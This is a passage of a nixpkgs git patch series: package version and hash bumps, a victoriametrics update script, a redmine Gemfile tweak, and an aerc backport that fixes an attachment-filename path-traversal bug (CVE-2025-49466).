+    "hash": "sha256-h6RR2IwL01p+PMfGHHXfx9rZdOfV1BeIAasxmYARn9Q="
   },
   "massif-visualizer": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/massif-visualizer-25.04.1.tar.xz",
-    "hash": "sha256-0YW6vp/RVMndF4iUM4HJXWqAzI5jOQZlXyho+U69fag="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/massif-visualizer-25.04.2.tar.xz",
+    "hash": "sha256-ED7UvpG66v9+5J5Y6qqwx3TzZIhlqaEG/BMjsZFmeRc="
   },
   "mbox-importer": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/mbox-importer-25.04.1.tar.xz",
-    "hash": "sha256-79Ezy2qbFkopifa/ZCTKJO/ZeahI7TjQxCC9QqmStlk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/mbox-importer-25.04.2.tar.xz",
+    "hash": "sha256-jFuSQIelaMDkOr/2s7ZWH4dAxBLq/GpF+GktJVu2jLw="
   },
   "merkuro": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/merkuro-25.04.1.tar.xz",
-    "hash": "sha256-PQ8Rp1umQU747SPJmlIK+QY0c7mBu2UaENGHv7ZO0nA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/merkuro-25.04.2.tar.xz",
+    "hash": "sha256-VE1nf7vfY3KIDkyxMuR9ndYZykU4cxY6nZVv57AfV/Q="
   },
   "messagelib": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/messagelib-25.04.1.tar.xz",
-    "hash": "sha256-kvDh/irBuMtTFo4YcJwgPUPMza44LQiVs+KEZ1ffB3A="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/messagelib-25.04.2.tar.xz",
+    "hash": "sha256-c1Supyslwu2S2x3Lidn19bgrorOCl50NEwPEdxZWGgU="
   },
   "mimetreeparser": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/mimetreeparser-25.04.1.tar.xz",
-    "hash": "sha256-irjMoNSfysUM7+Sn8noDvujTHyR6JOBRfuI7aQWfJ34="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/mimetreeparser-25.04.2.tar.xz",
+    "hash": "sha256-nNsEJ48DxzwHrAuEDURJFGDjq0MRMzI9JqTB7whLbjc="
   },
   "minuet": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/minuet-25.04.1.tar.xz",
-    "hash": "sha256-Z30jSxjoJG+PvZ1l8CoMD8V3amTn1snMAIiwPmM53rc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/minuet-25.04.2.tar.xz",
+    "hash": "sha256-bQGHHfD2Zvv8nIS61scUaVVpDmo3tGc46YBY+KW/tRQ="
   },
   "neochat": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/neochat-25.04.1.tar.xz",
-    "hash": "sha256-5m2CkO4aUfgXoQzwg6GCMonp7OubzQoHR/CwV0JJV+o="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/neochat-25.04.2.tar.xz",
+    "hash": "sha256-4yK9tD57IC7aLENfxiJH+q/y5WjiWCPsVfrYzEU5tMY="
   },
   "okular": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/okular-25.04.1.tar.xz",
-    "hash": "sha256-+vPATwFPIHmKcTd3ZhNQkNGZtqiHfyWfjM7h74/8zHg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/okular-25.04.2.tar.xz",
+    "hash": "sha256-vyEC/ndptQThk01GvymTmKZSn6KpbKMCv3iYwTGyXOo="
   },
   "palapeli": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/palapeli-25.04.1.tar.xz",
-    "hash": "sha256-ZXNo0ljItHmsEEBYE/VBfhOX/S1yqImT5IVr09MD0CM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/palapeli-25.04.2.tar.xz",
+    "hash": "sha256-HWDwUKagpQJQilvkSUq483v1MmswMB9DJxMl2JjMNxQ="
   },
   "parley": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/parley-25.04.1.tar.xz",
-    "hash": "sha256-hxceJqBKNiwBKDuWnu9AjU0RaLuC51goiX7BntFF5OA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/parley-25.04.2.tar.xz",
+    "hash": "sha256-i+QWqdSEkRElkLdYNsveiUD8MwPoCzGJSF+3qVCDGf8="
   },
   "partitionmanager": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/partitionmanager-25.04.1.tar.xz",
-    "hash": "sha256-fhPkCJViasOUikaFtsiYTIZa8f15TrzGSKpZnYeRwmE="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/partitionmanager-25.04.2.tar.xz",
+    "hash": "sha256-MAn6gW9kCHQ6ZYDK936IvOsT86jDG8UnuDrMLwzd5PU="
   },
   "picmi": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/picmi-25.04.1.tar.xz",
-    "hash": "sha256-TKP65bZ+MwGnDM8nbOelazcnN8LJssGdd7fCP/7qcd8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/picmi-25.04.2.tar.xz",
+    "hash": "sha256-bni4JESztJ7lkIwrMIQsU9mhu4nR8YJaXZ9Ho/xuNPo="
   },
   "pim-data-exporter": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/pim-data-exporter-25.04.1.tar.xz",
-    "hash": "sha256-D6H+OBSe2ZdawtLxhczTURGOSdSmfK/Ivg79HZp0g3A="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/pim-data-exporter-25.04.2.tar.xz",
+    "hash": "sha256-XBeX+YTCQ6Z9qmawUnrtEAnnHdyBVTNjsBuIdaRROMM="
   },
   "pim-sieve-editor": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/pim-sieve-editor-25.04.1.tar.xz",
-    "hash": "sha256-V6Hnfva5WIweItkMo/EkgL97HNVyUaQdBtY3q1wpm2Y="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/pim-sieve-editor-25.04.2.tar.xz",
+    "hash": "sha256-XEc8Yasx1flHvGAaN5j2RXUOuss8VwxMHAE8LZVIiH4="
   },
   "pimcommon": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/pimcommon-25.04.1.tar.xz",
-    "hash": "sha256-U2pcBsFShV/FxJeR/FNSpa/TxFupXBXSjCNYmM+8ypc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/pimcommon-25.04.2.tar.xz",
+    "hash": "sha256-fXUk3guIiwF2uPQNO1df/uiiVcY2clN8fdOTVDaCoM0="
   },
   "plasmatube": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/plasmatube-25.04.1.tar.xz",
-    "hash": "sha256-LDS5bYQVkUEEg/7WpjLbYotFwEQxPp/99xBbCYY4emI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/plasmatube-25.04.2.tar.xz",
+    "hash": "sha256-VE+A27ADyB/CD4PHZfGYx+4xxrfH740Zck5veiSZk6c="
   },
   "poxml": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/poxml-25.04.1.tar.xz",
-    "hash": "sha256-kTthg6l1wOxn8p1/zE9qQx4r+dS94JaNjDSEeDfK5oM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/poxml-25.04.2.tar.xz",
+    "hash": "sha256-W6hrBuFVs02o96Bwsw7YjNjY8kXFa4XPmS9XSrNZ3bg="
   },
   "qmlkonsole": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/qmlkonsole-25.04.1.tar.xz",
-    "hash": "sha256-cz3XzHuP6kYM109q025PnkesiSA/K49UbmXO6YQT2oI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/qmlkonsole-25.04.2.tar.xz",
+    "hash": "sha256-HRtXvE36fUpWurLMVBnsltGScJ3IsJZQE8aVAaym+Uo="
   },
   "qrca": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/qrca-25.04.1.tar.xz",
-    "hash": "sha256-OySTPF6I1NveQsX3bcaBoFjIJMSyLwQV8b5aV+WCpH4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/qrca-25.04.2.tar.xz",
+    "hash": "sha256-JfXR4CXGsGGtV5j7u7KuhZGqQtAFVuOn8hEK0GIYGiU="
   },
   "rocs": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/rocs-25.04.1.tar.xz",
-    "hash": "sha256-1xv9v9t/tJE0PTAxRP0T3uRdqwVs4leZYR52qtNIccM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/rocs-25.04.2.tar.xz",
+    "hash": "sha256-6NWvbNY80VpBGV8Q8doJKEw+hqH91h1OC+vM0Bs0Nf8="
   },
   "signon-kwallet-extension": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/signon-kwallet-extension-25.04.1.tar.xz",
-    "hash": "sha256-94/Il8ISzg8JnTL8vkpdd81DYHB67iX2hhhhrv11b7o="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/signon-kwallet-extension-25.04.2.tar.xz",
+    "hash": "sha256-6AMuGGLZPAs+DKgul+cZvn4mFkfK4LZvRnMO01msgRI="
   },
   "skanlite": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/skanlite-25.04.1.tar.xz",
-    "hash": "sha256-rkFuyQRCoHo0j8uZYDAuCCiSY7nbhzLDyMAbDQ+MNqo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/skanlite-25.04.2.tar.xz",
+    "hash": "sha256-0W1GV6sItYhaerh703au0APhrL96n1HC6fDrH8Xd2WQ="
   },
   "skanpage": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/skanpage-25.04.1.tar.xz",
-    "hash": "sha256-BsEamDTL7kV6MWTmJ3oNuj0xbbeBBmLENaqdpQAIiTM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/skanpage-25.04.2.tar.xz",
+    "hash": "sha256-W7JjzHrbPlIhF/rOWvpPmGU8noM5f50qoe2Rz5o0RzE="
   },
   "skladnik": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/skladnik-25.04.1.tar.xz",
-    "hash": "sha256-KGVjnCXZ21HDvvABjkVzuMJWgZ8GUEMUwmR/w2KFRq0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/skladnik-25.04.2.tar.xz",
+    "hash": "sha256-OVXFIN3mztNULYIeFONXcBd2DH0odEdLSbBc54f8Kz4="
   },
   "step": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/step-25.04.1.tar.xz",
-    "hash": "sha256-v8E2rClrYTgS0MLml5WDssKFarwF7GBc+CrStPtPGR0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/step-25.04.2.tar.xz",
+    "hash": "sha256-OKbl6vndh+WiGhYjWsMQJrBXsJ6uUDFQdp9RcNvJQH4="
   },
   "svgpart": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/svgpart-25.04.1.tar.xz",
-    "hash": "sha256-owkDx1j8GBgzTeTNb31ypP6aKEIybhh9RC7g55rhyvg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/svgpart-25.04.2.tar.xz",
+    "hash": "sha256-r7pScDFInTIVETTjHCvhMge+HyJO15Y/HYFwoqKNKpw="
   },
   "sweeper": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/sweeper-25.04.1.tar.xz",
-    "hash": "sha256-jGPkE8Oeqzv2Z4Rw+GDQ28bffu12WkJhYLPuRDnG1mQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/sweeper-25.04.2.tar.xz",
+    "hash": "sha256-dSkF7hMvSpu093rUcm2Nx/rwMf5VCHJMnCiJwA05vVE="
   },
   "telly-skout": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/telly-skout-25.04.1.tar.xz",
-    "hash": "sha256-Ip5rEPTVu2ibP60nau4zJWuWgG098AX2lpUt0bUDmkM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/telly-skout-25.04.2.tar.xz",
+    "hash": "sha256-y9WL88hXb7K1q86mAZY2OkNmr+1JFm/z+LrBjiKM9+k="
   },
   "tokodon": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/tokodon-25.04.1.tar.xz",
-    "hash": "sha256-N6hLVd6AhZ6ZAq4m/vt0ht0c1mAPW8w8s+yc5shp9+M="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/tokodon-25.04.2.tar.xz",
+    "hash": "sha256-OZ7SFwimek/D9f3/sWMK8b5qgtUmubZNU+lW7seVS6w="
   },
   "umbrello": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/umbrello-25.04.1.tar.xz",
-    "hash": "sha256-XaX2PbyLVrKcxPfL7tkagKIyFWJ2E/TbtRuiO2icAqU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/umbrello-25.04.2.tar.xz",
+    "hash": "sha256-A5uXFlRzktcoGr4UQM8kIZyMArWSeLrX8tOmIUVsfSQ="
   },
   "yakuake": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/yakuake-25.04.1.tar.xz",
-    "hash": "sha256-8katM/RnsIc5Ox++Qx99o0dJ1nq7TAAv8jszOFXAid0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/yakuake-25.04.2.tar.xz",
+    "hash": "sha256-ZfzsKcRCyLVFJ/fQbhJQYL85mXQT9WHhRr5LXL0LuWM="
   },
   "zanshin": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/zanshin-25.04.1.tar.xz",
-    "hash": "sha256-fxs+Z2tEWAUktL5z6+EENRTZQSyNV0JhNlB97Lnh4Bg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/zanshin-25.04.2.tar.xz",
+    "hash": "sha256-Ceflyk/XiHdyLvu1beXwwL1IEcy/UvT7I+e2Jti9sSI="
   }
 }
\ No newline at end of file

From d8aee5106305650a446b39ca6b74636186233456 Mon Sep 17 00:00:00 2001
From: Bruno Bigras <24027+bbigras@users.noreply.github.com>
Date: Tue, 3 Jun 2025 13:23:42 -0400
Subject: [PATCH 0631/4511] veilid: 0.4.6 -> 0.4.7

(cherry picked from commit 3b4f21beac1472f26dfaee39e58020b8dfa11e78)
---
 pkgs/by-name/ve/veilid/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ve/veilid/package.nix b/pkgs/by-name/ve/veilid/package.nix
index bde4286180b5..98708b563eed 100644
--- a/pkgs/by-name/ve/veilid/package.nix
+++ b/pkgs/by-name/ve/veilid/package.nix
@@ -12,17 +12,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "veilid";
-  version = "0.4.6";
+  version = "0.4.7";
 
   src = fetchFromGitLab {
     owner = "veilid";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-bKll7VB6LjkmmhN5lmjcSeP2zZbyWnl4XiZbZe3tKgg=";
+    hash = "sha256-SEmXZvv6951Ln87/sRQwr4FgGRSvowGyeyApfF+JnJ4=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-505gf4P/Hlo8KFynhAQdBagzEqGXhydhTTknat/jWmk=";
+  cargoHash = "sha256-2fZAds4wNLd/mWh7EWpP2hqspBfAtTHIEe+dFag7Lw4=";
 
   nativeBuildInputs = [
     capnproto

From 07e7d5cb223deee9cf3184fe1d866d977aebfbab Mon Sep 17 00:00:00 2001
From: Shawn8901 <shawn8901@googlemail.com>
Date: Fri, 30 May 2025 18:15:43 +0200
Subject: [PATCH 0632/4511] victoriametrics: add update script for
 maintainers/scripts/update.nix

(cherry picked from commit 037c360635a2a548694a4411dafa95857cfff3f7)
---
 pkgs/by-name/vi/victoriametrics/package.nix |  7 +++++--
 pkgs/by-name/vi/victoriametrics/update.sh   | 13 +++++++++++++
 2 files changed, 18 insertions(+), 2 deletions(-)
 create mode 100755 pkgs/by-name/vi/victoriametrics/update.sh

diff --git a/pkgs/by-name/vi/victoriametrics/package.nix b/pkgs/by-name/vi/victoriametrics/package.nix
index 2cb333913c17..3bda816fd16f 100644
--- a/pkgs/by-name/vi/victoriametrics/package.nix
+++ b/pkgs/by-name/vi/victoriametrics/package.nix
@@ -78,8 +78,11 @@ buildGoModule (finalAttrs: {
 
   __darwinAllowLocalNetworking = true;
 
-  passthru.tests = {
-    inherit (nixosTests) victoriametrics;
+  passthru = {
+    tests = {
+      inherit (nixosTests) victoriametrics;
+    };
+    updateScript = ./update.sh;
   };
 
   meta = {
diff --git a/pkgs/by-name/vi/victoriametrics/update.sh b/pkgs/by-name/vi/victoriametrics/update.sh
new file mode 100755
index 000000000000..84f2f275740e
--- /dev/null
+++ b/pkgs/by-name/vi/victoriametrics/update.sh
@@ -0,0 +1,13 @@
+#! /usr/bin/env nix-shell
+#! nix-shell -i bash -p curl jq nix-update
+
+set -ex
+
+curl_github() {
+    curl -L ${GITHUB_TOKEN:+" -u \":$GITHUB_TOKEN\""} "$@"
+}
+
+latestRelease=$(curl_github https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/releases/latest | jq -r ".tag_name")
+latestVersion="$(expr "$latestRelease" : 'v\(.*\)')"
+
+nix-update --version "$latestVersion" victoriametrics

From bf090c27c1de03abcf73735ef58ad76f148abc68 Mon Sep 17 00:00:00 2001
From: Shawn8901 <shawn8901@googlemail.com>
Date: Fri, 30 May 2025 18:16:02 +0200
Subject: [PATCH 0633/4511] victoriametrics: 1.117.1 -> 1.118.0

(cherry picked from commit 02071f39e370bd5ade093278a7dbb0126f32d138)
---
 pkgs/by-name/vi/victoriametrics/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/victoriametrics/package.nix b/pkgs/by-name/vi/victoriametrics/package.nix
index 3bda816fd16f..62fab4ed0ae6 100644
--- a/pkgs/by-name/vi/victoriametrics/package.nix
+++ b/pkgs/by-name/vi/victoriametrics/package.nix
@@ -14,13 +14,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "VictoriaMetrics";
-  version = "1.117.1";
+  version = "1.118.0";
 
   src = fetchFromGitHub {
     owner = "VictoriaMetrics";
     repo = "VictoriaMetrics";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Y3Ai5e9bJnGlWfxOMWMhesJ/eHrklSbR+YmR1EgzFS0=";
+    hash = "sha256-a84n9fuGdiG0o/1/9q3etTwoFbOL01y88ubTI/yIIBA=";
   };
 
   vendorHash = null;

From 1105b34ec2b88e82fe35be9e6ba5c547487824b2 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Sat, 24 May 2025 04:33:18 +0200
Subject: [PATCH 0634/4511] redmine: Move optional gems to Gemfile.local

In order to make the diff of the original Gemfile and this one a bit
smaller, use Gemfile.local for optional gems like webrick.

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 8e690ed6fc02c77488d3cd3d811b5d9ded400b8b)
---
 pkgs/by-name/re/redmine/Gemfile       | 2 --
 pkgs/by-name/re/redmine/Gemfile.local | 1 +
 2 files changed, 1 insertion(+), 2 deletions(-)
 create mode 100644 pkgs/by-name/re/redmine/Gemfile.local

diff --git a/pkgs/by-name/re/redmine/Gemfile b/pkgs/by-name/re/redmine/Gemfile
index 8d0d2183e7a2..19138ab112f1 100644
--- a/pkgs/by-name/re/redmine/Gemfile
+++ b/pkgs/by-name/re/redmine/Gemfile
@@ -82,8 +82,6 @@ group :test do
   gem 'bundle-audit', require: false
 end
 
-gem "webrick"
-
 local_gemfile = File.join(File.dirname(__FILE__), "Gemfile.local")
 if File.exist?(local_gemfile)
   eval_gemfile local_gemfile
diff --git a/pkgs/by-name/re/redmine/Gemfile.local b/pkgs/by-name/re/redmine/Gemfile.local
new file mode 100644
index 000000000000..192455d12b9b
--- /dev/null
+++ b/pkgs/by-name/re/redmine/Gemfile.local
@@ -0,0 +1 @@
+gem 'webrick'

From 320b5cae482ffc0ccbde1a7be88a52913d410bdd Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Sun, 1 Jun 2025 17:12:00 +0200
Subject: [PATCH 0635/4511] buffer: 0.9.10 -> 0.10.0

(cherry picked from commit b248d347c5ef333efb1447061a50a826e8c43e5b)
---
 pkgs/by-name/bu/buffer/package.nix | 29 +++++++++++++----------------
 1 file changed, 13 insertions(+), 16 deletions(-)

diff --git a/pkgs/by-name/bu/buffer/package.nix b/pkgs/by-name/bu/buffer/package.nix
index c3c04a12a985..6dd991fa261b 100644
--- a/pkgs/by-name/bu/buffer/package.nix
+++ b/pkgs/by-name/bu/buffer/package.nix
@@ -1,8 +1,8 @@
 {
   lib,
+  cargo,
   desktop-file-utils,
   fetchFromGitLab,
-  gobject-introspection,
   gtk4,
   gtksourceview5,
   libadwaita,
@@ -10,29 +10,37 @@
   meson,
   ninja,
   pkg-config,
-  python3,
+  rustPlatform,
+  rustc,
   stdenv,
   wrapGAppsHook4,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "buffer";
-  version = "0.9.10";
+  version = "0.10.0";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "cheywood";
     repo = "buffer";
     tag = finalAttrs.version;
-    hash = "sha256-amWfrZX1b1OmLhL7w8j/+iEwYRnO1DVR580pLkjtS/g=";
+    hash = "sha256-81riamRKzV4wXVTXkp1ngO/5mG7leRJMw/r2DDHl8LU=";
+  };
+
+  cargoDeps = rustPlatform.fetchCargoVendor {
+    inherit (finalAttrs) src pname version;
+    hash = "sha256-fwXeXaoC/Uh9eMEkRjhpAouxOrlRWX2n2r4pgIe83S0=";
   };
 
   nativeBuildInputs = [
+    cargo
     desktop-file-utils
-    gobject-introspection
     meson
     ninja
     pkg-config
+    rustPlatform.cargoSetupHook
+    rustc
     wrapGAppsHook4
   ];
 
@@ -41,19 +49,8 @@ stdenv.mkDerivation (finalAttrs: {
     gtksourceview5
     libadwaita
     libspelling
-    (python3.withPackages (
-      ps: with ps; [
-        pygobject3
-      ]
-    ))
   ];
 
-  preFixup = ''
-    gappsWrapperArgs+=(
-      --prefix PYTHONPATH : "$out/${python3.sitePackages}"
-    )
-  '';
-
   meta = {
     description = "Minimal editing space for all those things that don't need keeping";
     homepage = "https://gitlab.gnome.org/cheywood/buffer";

From a218df02c9d1a6893419017848eff25b95978ff2 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Tue, 22 Apr 2025 11:58:20 +0200
Subject: [PATCH 0636/4511] osquery: 5.16.0 -> 5.17.0

https://github.com/osquery/osquery/releases/tag/5.17.0
(cherry picked from commit 261aa665176b4641da822f068a4c2d4d242a3e07)
---
 pkgs/by-name/os/osquery/info.json | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/os/osquery/info.json b/pkgs/by-name/os/osquery/info.json
index fa2e3291ad18..dfc1eff28dc9 100644
--- a/pkgs/by-name/os/osquery/info.json
+++ b/pkgs/by-name/os/osquery/info.json
@@ -1,13 +1,13 @@
 {
     "openssl": {
-        "hash": "sha256-g8cyn+UshQZ3115dCwyiRTCbl+jsvP3B39xKufrDWzk=",
-        "url": "https://www.openssl.org/source/openssl-3.2.1.tar.gz"
+        "hash": "sha256-ACotazC1i/S+pGxDvdljZar42qbEKHgqpP7uBtoZffM=",
+        "url": "https://www.openssl.org/source/openssl-3.4.1.tar.gz"
     },
     "osquery": {
         "fetchSubmodules": true,
-        "hash": "sha256-Q5KiPqkyciuC5vlgBuY9ObRnDhM7Xhq6Oe5GbtatH/s=",
+        "hash": "sha256-zv6R6MR9uaizwkDWw0sT3XSzT1qmPDAkL9crbzBTKTk=",
         "owner": "osquery",
         "repo": "osquery",
-        "rev": "5.16.0"
+        "rev": "5.17.0"
     }
 }

From adc409520f6bdb402fb2f37c1be2b41552f74999 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vojt=C4=9Bch=20K=C3=A1n=C4=9B?= <vojtech.kane@gmail.com>
Date: Thu, 22 May 2025 10:42:20 +0200
Subject: [PATCH 0637/4511] aerc: backport an upstream patch for handling of
 attachments' filenames

The patch is not part of a tagged release yet so we apply it selectively
instead of upgrading whole aerc. While it is originally presented as
a usability problem only for attachments with absolutes filepaths (they
fail to open), there is nothing stopping you from putting a relative
path in there therefore forcing aerc to overwriting any path on the host
system with sender chosen data. It's been marked as CVE-2025-49466

I decided to inline the patches into nixpkgs as they are very short and
the current bot protection of git.sr.ht complicates patch fetching.

(cherry picked from commit a8b64551c5f11f7fe4700c94d50758b4c1baf5d3)
---
 .../ae/aerc/basename-temp-file-fixup.patch    | 34 +++++++++++++++
 pkgs/by-name/ae/aerc/basename-temp-file.patch | 41 +++++++++++++++++++
 pkgs/by-name/ae/aerc/package.nix              |  9 +++-
 3 files changed, 83 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch
 create mode 100644 pkgs/by-name/ae/aerc/basename-temp-file.patch

diff --git a/pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch b/pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch
new file mode 100644
index 000000000000..07bec5bffbd8
--- /dev/null
+++ b/pkgs/by-name/ae/aerc/basename-temp-file-fixup.patch
@@ -0,0 +1,34 @@
+From 2bbe75fe0bc87ab4c1e16c5a18c6200224391629 Mon Sep 17 00:00:00 2001
+From: Nicole Patricia Mazzuca <nicole@streganil.no>
+Date: Fri, 9 May 2025 09:32:21 +0200
+Subject: [PATCH] open: fix opening text/html messages
+
+This fixes a bug introduced in 93bec0de8ed5ab3d6b1f01026fe2ef20fa154329:
+aerc started using `path.Base(<part>)`, which returns `"."` on an empty
+path, but still checked for `""` two lines later.
+
+On macOS, the result is that aerc attempts to open the directory:
+
+```
+open /var/folders/vn/hs0zvdsx3vq6svvry8s1bnym0000gn/T/aerc-4229266673: is a directory
+```
+
+Signed-off-by: Nicole Patricia Mazzuca <nicole@streganil.no>
+Acked-by: Robin Jarry <robin@jarry.cc>
+---
+ commands/msgview/open.go | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/commands/msgview/open.go b/commands/msgview/open.go
+index a6e43cb8da5fd49d2aa562d4c25ee2d597deefc3..7c770d4a90b771e3a18dfcb327f5e9306d5b5fa7 100644
+--- a/commands/msgview/open.go
++++ b/commands/msgview/open.go
+@@ -59,7 +59,7 @@ func (o Open) Execute(args []string) error {
+ 		}
+ 		filename := path.Base(part.FileName())
+ 		var tmpFile *os.File
+-		if filename == "" {
++		if filename == "." {
+ 			extension := ""
+ 			if exts, _ := mime.ExtensionsByType(mimeType); len(exts) > 0 {
+ 				extension = exts[0]
diff --git a/pkgs/by-name/ae/aerc/basename-temp-file.patch b/pkgs/by-name/ae/aerc/basename-temp-file.patch
new file mode 100644
index 000000000000..8ca81c21db95
--- /dev/null
+++ b/pkgs/by-name/ae/aerc/basename-temp-file.patch
@@ -0,0 +1,41 @@
+From 93bec0de8ed5ab3d6b1f01026fe2ef20fa154329 Mon Sep 17 00:00:00 2001
+From: Robin Jarry <robin@jarry.cc>
+Date: Wed, 9 Apr 2025 10:49:24 +0200
+Subject: [PATCH] open: only use part basename for temp file
+
+When an attachment part has a name such as "/tmp/55208186_AllDocs.pdf",
+aerc creates a temp folder and tries to store the file by blindly
+concatenating the path as follows:
+
+	/tmp/aerc-3444057757/tmp/55208186_AllDocs.pdf
+
+And when writing to this path, it gets a "No such file or directory"
+error because the intermediate "tmp" subfolder isn't created.
+
+Reported-by: Erik Colson <eco@ecocode.net>
+Signed-off-by: Robin Jarry <robin@jarry.cc>
+---
+ commands/msgview/open.go | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/commands/msgview/open.go b/commands/msgview/open.go
+index 4293b7e4892c137a7f3fbbe79245ffb6733b2671..a6e43cb8da5fd49d2aa562d4c25ee2d597deefc3 100644
+--- a/commands/msgview/open.go
++++ b/commands/msgview/open.go
+@@ -5,6 +5,7 @@ import (
+ 	"io"
+ 	"mime"
+ 	"os"
++	"path"
+ 	"path/filepath"
+ 
+ 	"git.sr.ht/~rjarry/aerc/app"
+@@ -56,7 +57,7 @@ func (o Open) Execute(args []string) error {
